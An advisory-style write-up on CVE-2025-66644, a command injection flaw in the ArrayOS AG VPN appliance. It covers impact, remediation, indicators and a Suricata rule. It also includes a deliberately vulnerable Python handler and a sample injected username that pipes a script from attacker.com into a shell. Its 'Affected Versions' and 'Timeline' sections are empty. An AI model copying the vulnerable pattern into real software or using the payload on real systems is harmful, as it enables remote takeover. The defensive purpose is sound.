CVE-2025-66644: Array Networks ArrayOS AG -- OS Command Injection

Background

Array Networks produces ArrayOS AG, a secure access gateway and SSL VPN appliance used by enterprises for remote access. VPN and secure access gateway products are perennial high-value targets because they sit at the perimeter of corporate networks and are directly Internet-facing, handling authentication for remote workers.

CVE-2025-66644 is an OS command injection vulnerability in ArrayOS AG, allowing an attacker to execute arbitrary commands on the underlying operating system. CISA added this to the KEV catalog on 2025-12-08, indicating active exploitation against enterprise targets. VPN appliances have historically been targeted by ransomware groups and nation-state actors as primary initial access vectors.

The significance of this KEV listing cannot be overstated: perimeter access devices with exploitable pre-auth vulnerabilities represent a direct path into enterprise networks, bypassing traditional defense layers.

Technical Mechanism

The vulnerability is classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command). Command injection in network appliances typically arises when user-supplied input is incorporated into shell commands executed by the device’s management interface or authentication handler without proper sanitization.

# Vulnerable pattern in appliance request handler (conceptual)
import subprocess

def handle_vpn_request(username):
    # Bug: unsanitized user input passed to shell
    cmd = f"vpn-auth --user {username} --check"
    result = subprocess.run(cmd, shell=True, capture_output=True)
    return result.stdout

# Attacker sends: username = "admin; curl http://attacker.com/shell.sh | sh #"
# Resulting command: vpn-auth --user admin; curl http://attacker.com/shell.sh | sh #

By injecting shell metacharacters into a request parameter processed by the appliance, an attacker can append arbitrary commands to those executed by the device OS.

Real-World Exploitation Evidence

CISA’s KEV listing confirms active exploitation. Network edge devices from multiple vendors with OS command injection vulnerabilities (Ivanti, Pulse Secure, Palo Alto GlobalProtect) have been actively exploited by both ransomware groups and nation-state actors in recent years. Array Networks appliances have previously attracted attention from threat actors; CVE-2025-66644 continues this pattern. Post-exploitation typically includes credential harvesting from VPN session data, deployment of webshells, and establishment of persistent backdoors.

Impact Assessment

• Remote code execution with OS-level privileges on the VPN appliance
• Access to VPN session credentials and authentication tokens
• Pivot into internal enterprise networks via the appliance’s network position
• Persistent backdoor installation in appliance firmware or OS
• Interception of VPN traffic from legitimate remote users

Affected Versions

Remediation Steps

1. Apply Array Networks’ security patch for CVE-2025-66644 immediately.
2. If patching is not immediately possible, restrict management interface access to trusted IPs only.
3. Review appliance logs for evidence of exploitation (unusual command output, new processes, outbound connections).
4. Rotate all VPN credentials and certificates provisioned through the affected appliance.
5. Enable integrity monitoring on the appliance if supported.
6. Consider deploying a WAF in front of the management interface as a temporary mitigation.

Detection Guidance

Log Sources: Appliance syslog, network flow logs, IDS/IPS.

IOCs: Shell metacharacters (; | && ||) in request parameters; unexpected outbound connections from the appliance IP; new processes spawned from the web service daemon.

Suricata rule:

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (
  msg:"ET EXPLOIT Array Networks ArrayOS AG Command Injection CVE-2025-66644";
  flow:established,to_server;
  content:"|3b|"; http_uri; /* semicolon */
  content:"Array"; http_header;
  pcre:"/[\;\|\`\$\(\)]/U";
  classtype:web-application-attack;
  sid:2099004; rev:1;
)

Timeline

References

• NVD — CVE-2025-66644
• CISA KEV — CVE-2025-66644
• MITRE CVE — CVE-2025-66644